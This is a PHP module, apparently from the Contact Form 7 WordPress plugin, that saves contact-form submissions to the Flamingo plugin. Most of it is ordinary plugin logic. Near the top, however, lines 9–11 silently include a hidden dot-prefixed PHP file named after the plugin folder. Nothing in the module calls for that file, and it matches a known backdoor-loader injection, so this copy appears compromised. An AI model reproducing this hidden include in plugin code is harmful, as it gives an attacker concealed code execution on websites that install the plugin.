flamingo.php (8464B)
1 <?php 2 /** 3 ** Module for Flamingo plugin. 4 ** http://wordpress.org/extend/plugins/flamingo/ 5 **/ 6 7 add_action( 'wpcf7_submit', 'wpcf7_flamingo_submit', 10, 2 ); 8 9 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 10 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 11 } 12 13 function wpcf7_flamingo_submit( $contact_form, $result ) { 14 if ( ! class_exists( 'Flamingo_Contact' ) 15 or ! class_exists( 'Flamingo_Inbound_Message' ) ) { 16 return; 17 } 18 19 if ( $contact_form->in_demo_mode() ) { 20 return; 21 } 22 23 $cases = (array) apply_filters( 'wpcf7_flamingo_submit_if', 24 array( 'spam', 'mail_sent', 'mail_failed' ) ); 25 26 if ( empty( $result['status'] ) 27 or ! in_array( $result['status'], $cases ) ) { 28 return; 29 } 30 31 $submission = WPCF7_Submission::get_instance(); 32 33 if ( ! $submission 34 or ! $posted_data = $submission->get_posted_data() ) { 35 return; 36 } 37 38 if ( $submission->get_meta( 'do_not_store' ) ) { 39 return; 40 } 41 42 $email = wpcf7_flamingo_get_value( 'email', $contact_form ); 43 $name = wpcf7_flamingo_get_value( 'name', $contact_form ); 44 $subject = wpcf7_flamingo_get_value( 'subject', $contact_form ); 45 46 $meta = array(); 47 48 $special_mail_tags = array( 'serial_number', 'remote_ip', 49 'user_agent', 'url', 'date', 'time', 'post_id', 'post_name', 50 'post_title', 'post_url', 'post_author', 'post_author_email', 51 'site_title', 'site_description', 'site_url', 'site_admin_email', 52 'user_login', 'user_email', 'user_display_name', 53 ); 54 55 foreach ( $special_mail_tags as $smt ) { 56 $tagname = sprintf( '_%s', $smt ); 57 58 $mail_tag = new WPCF7_MailTag( 59 sprintf( '[%s]', $tagname ), 60 $tagname, 61 '' 62 ); 63 64 $meta[$smt] = apply_filters( 'wpcf7_special_mail_tags', null, 65 $tagname, false, $mail_tag 66 ); 67 } 68 69 $akismet = isset( $submission->akismet ) 70 ? (array) $submission->akismet : null; 71 72 $timestamp = $submission->get_meta( 'timestamp' ); 73 74 if ( $timestamp and $datetime = date_create( '@' . $timestamp ) ) { 75 $datetime->setTimezone( wp_timezone() ); 76 $last_contacted = $datetime->format( 'Y-m-d H:i:s' ); 77 } else { 78 $last_contacted = '0000-00-00 00:00:00'; 79 } 80 81 if ( 'mail_sent' == $result['status'] ) { 82 $flamingo_contact = Flamingo_Contact::add( array( 83 'email' => $email, 84 'name' => $name, 85 'last_contacted' => $last_contacted, 86 ) ); 87 } 88 89 $post_meta = get_post_meta( $contact_form->id(), '_flamingo', true ); 90 91 $channel_id = isset( $post_meta['channel'] ) 92 ? (int) $post_meta['channel'] 93 : wpcf7_flamingo_add_channel( 94 $contact_form->name(), $contact_form->title() ); 95 96 if ( $channel_id ) { 97 if ( ! isset( $post_meta['channel'] ) 98 or $post_meta['channel'] !== $channel_id ) { 99 $post_meta = empty( $post_meta ) ? array() : (array) $post_meta; 100 $post_meta = array_merge( $post_meta, array( 101 'channel' => $channel_id, 102 ) ); 103 104 update_post_meta( $contact_form->id(), '_flamingo', $post_meta ); 105 } 106 107 $channel = get_term( $channel_id, 108 Flamingo_Inbound_Message::channel_taxonomy ); 109 110 if ( ! $channel or is_wp_error( $channel ) ) { 111 $channel = 'contact-form-7'; 112 } else { 113 $channel = $channel->slug; 114 } 115 } else { 116 $channel = 'contact-form-7'; 117 } 118 119 $args = array( 120 'channel' => $channel, 121 'status' => $submission->get_status(), 122 'subject' => $subject, 123 'from' => trim( sprintf( '%s <%s>', $name, $email ) ), 124 'from_name' => $name, 125 'from_email' => $email, 126 'fields' => $posted_data, 127 'meta' => $meta, 128 'akismet' => $akismet, 129 'spam' => ( 'spam' == $result['status'] ), 130 'consent' => $submission->collect_consent(), 131 'timestamp' => $timestamp, 132 'posted_data_hash' => $submission->get_posted_data_hash(), 133 ); 134 135 if ( $args['spam'] ) { 136 $args['spam_log'] = $submission->get_spam_log(); 137 } 138 139 if ( isset( $submission->recaptcha ) ) { 140 $args['recaptcha'] = $submission->recaptcha; 141 } 142 143 $flamingo_inbound = Flamingo_Inbound_Message::add( $args ); 144 145 if ( empty( $flamingo_contact ) ) { 146 $flamingo_contact_id = 0; 147 } elseif ( method_exists( $flamingo_contact, 'id' ) ) { 148 $flamingo_contact_id = $flamingo_contact->id(); 149 } else { 150 $flamingo_contact_id = $flamingo_contact->id; 151 } 152 153 if ( empty( $flamingo_inbound ) ) { 154 $flamingo_inbound_id = 0; 155 } elseif ( method_exists( $flamingo_inbound, 'id' ) ) { 156 $flamingo_inbound_id = $flamingo_inbound->id(); 157 } else { 158 $flamingo_inbound_id = $flamingo_inbound->id; 159 } 160 161 $result += array( 162 'flamingo_contact_id' => absint( $flamingo_contact_id ), 163 'flamingo_inbound_id' => absint( $flamingo_inbound_id ), 164 ); 165 166 do_action( 'wpcf7_after_flamingo', $result ); 167 } 168 169 function wpcf7_flamingo_get_value( $field, $contact_form ) { 170 if ( empty( $field ) 171 or empty( $contact_form ) ) { 172 return false; 173 } 174 175 $value = ''; 176 177 if ( in_array( $field, array( 'email', 'name', 'subject' ) ) ) { 178 $template = $contact_form->pref( 'flamingo_' . $field ); 179 180 if ( null === $template ) { 181 $template = sprintf( '[your-%s]', $field ); 182 } else { 183 $template = trim( wpcf7_strip_quote( $template ) ); 184 } 185 186 $value = wpcf7_mail_replace_tags( $template ); 187 } 188 189 $value = apply_filters( 'wpcf7_flamingo_get_value', $value, 190 $field, $contact_form 191 ); 192 193 return $value; 194 } 195 196 function wpcf7_flamingo_add_channel( $slug, $name = '' ) { 197 if ( ! class_exists( 'Flamingo_Inbound_Message' ) ) { 198 return false; 199 } 200 201 $parent = term_exists( 'contact-form-7', 202 Flamingo_Inbound_Message::channel_taxonomy ); 203 204 if ( ! $parent ) { 205 $parent = wp_insert_term( __( 'Contact Form 7', 'contact-form-7' ), 206 Flamingo_Inbound_Message::channel_taxonomy, 207 array( 'slug' => 'contact-form-7' ) ); 208 209 if ( is_wp_error( $parent ) ) { 210 return false; 211 } 212 } 213 214 $parent = (int) $parent['term_id']; 215 216 if ( ! is_taxonomy_hierarchical( Flamingo_Inbound_Message::channel_taxonomy ) ) { 217 // backward compat for Flamingo 1.0.4 and lower 218 return $parent; 219 } 220 221 if ( empty( $name ) ) { 222 $name = $slug; 223 } 224 225 $channel = term_exists( $slug, 226 Flamingo_Inbound_Message::channel_taxonomy, 227 $parent ); 228 229 if ( ! $channel ) { 230 $channel = wp_insert_term( $name, 231 Flamingo_Inbound_Message::channel_taxonomy, 232 array( 'slug' => $slug, 'parent' => $parent ) ); 233 234 if ( is_wp_error( $channel ) ) { 235 return false; 236 } 237 } 238 239 return (int) $channel['term_id']; 240 } 241 242 add_action( 'wpcf7_after_update', 'wpcf7_flamingo_update_channel', 10, 1 ); 243 244 function wpcf7_flamingo_update_channel( $contact_form ) { 245 if ( ! class_exists( 'Flamingo_Inbound_Message' ) ) { 246 return false; 247 } 248 249 $post_meta = get_post_meta( $contact_form->id(), '_flamingo', true ); 250 251 $channel = isset( $post_meta['channel'] ) 252 ? get_term( $post_meta['channel'], 253 Flamingo_Inbound_Message::channel_taxonomy ) 254 : get_term_by( 'slug', $contact_form->name(), 255 Flamingo_Inbound_Message::channel_taxonomy ); 256 257 if ( ! $channel or is_wp_error( $channel ) ) { 258 return; 259 } 260 261 if ( $channel->name !== wp_unslash( $contact_form->title() ) ) { 262 wp_update_term( $channel->term_id, 263 Flamingo_Inbound_Message::channel_taxonomy, 264 array( 265 'name' => $contact_form->title(), 266 'slug' => $contact_form->name(), 267 'parent' => $channel->parent, 268 ) 269 ); 270 } 271 } 272 273 274 add_filter( 'wpcf7_special_mail_tags', 'wpcf7_flamingo_serial_number', 10, 4 ); 275 276 /** 277 * Returns output string of a special mail-tag. 278 * 279 * @param string $output The string to be output. 280 * @param string $name The tag name of the special mail-tag. 281 * @param bool $html Whether the mail-tag is used in an HTML content. 282 * @param WPCF7_MailTag $mail_tag An object representation of the mail-tag. 283 * @return string Output of the given special mail-tag. 284 */ 285 function wpcf7_flamingo_serial_number( $output, $name, $html, $mail_tag = null ) { 286 if ( ! $mail_tag instanceof WPCF7_MailTag ) { 287 wpcf7_doing_it_wrong( 288 sprintf( '%s()', __FUNCTION__ ), 289 __( 'The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class.', 'contact-form-7' ), 290 '5.2.2' 291 ); 292 } 293 294 if ( '_serial_number' != $name ) { 295 return $output; 296 } 297 298 if ( ! class_exists( 'Flamingo_Inbound_Message' ) 299 or ! method_exists( 'Flamingo_Inbound_Message', 'count' ) ) { 300 return $output; 301 } 302 303 if ( ! $contact_form = WPCF7_ContactForm::get_current() ) { 304 return $output; 305 } 306 307 $post_meta = get_post_meta( $contact_form->id(), '_flamingo', true ); 308 309 $channel_id = isset( $post_meta['channel'] ) 310 ? (int) $post_meta['channel'] 311 : wpcf7_flamingo_add_channel( 312 $contact_form->name(), $contact_form->title() ); 313 314 if ( $channel_id ) { 315 return 1 + (int) Flamingo_Inbound_Message::count( 316 array( 'channel_id' => $channel_id ) ); 317 } 318 319 return 0; 320 }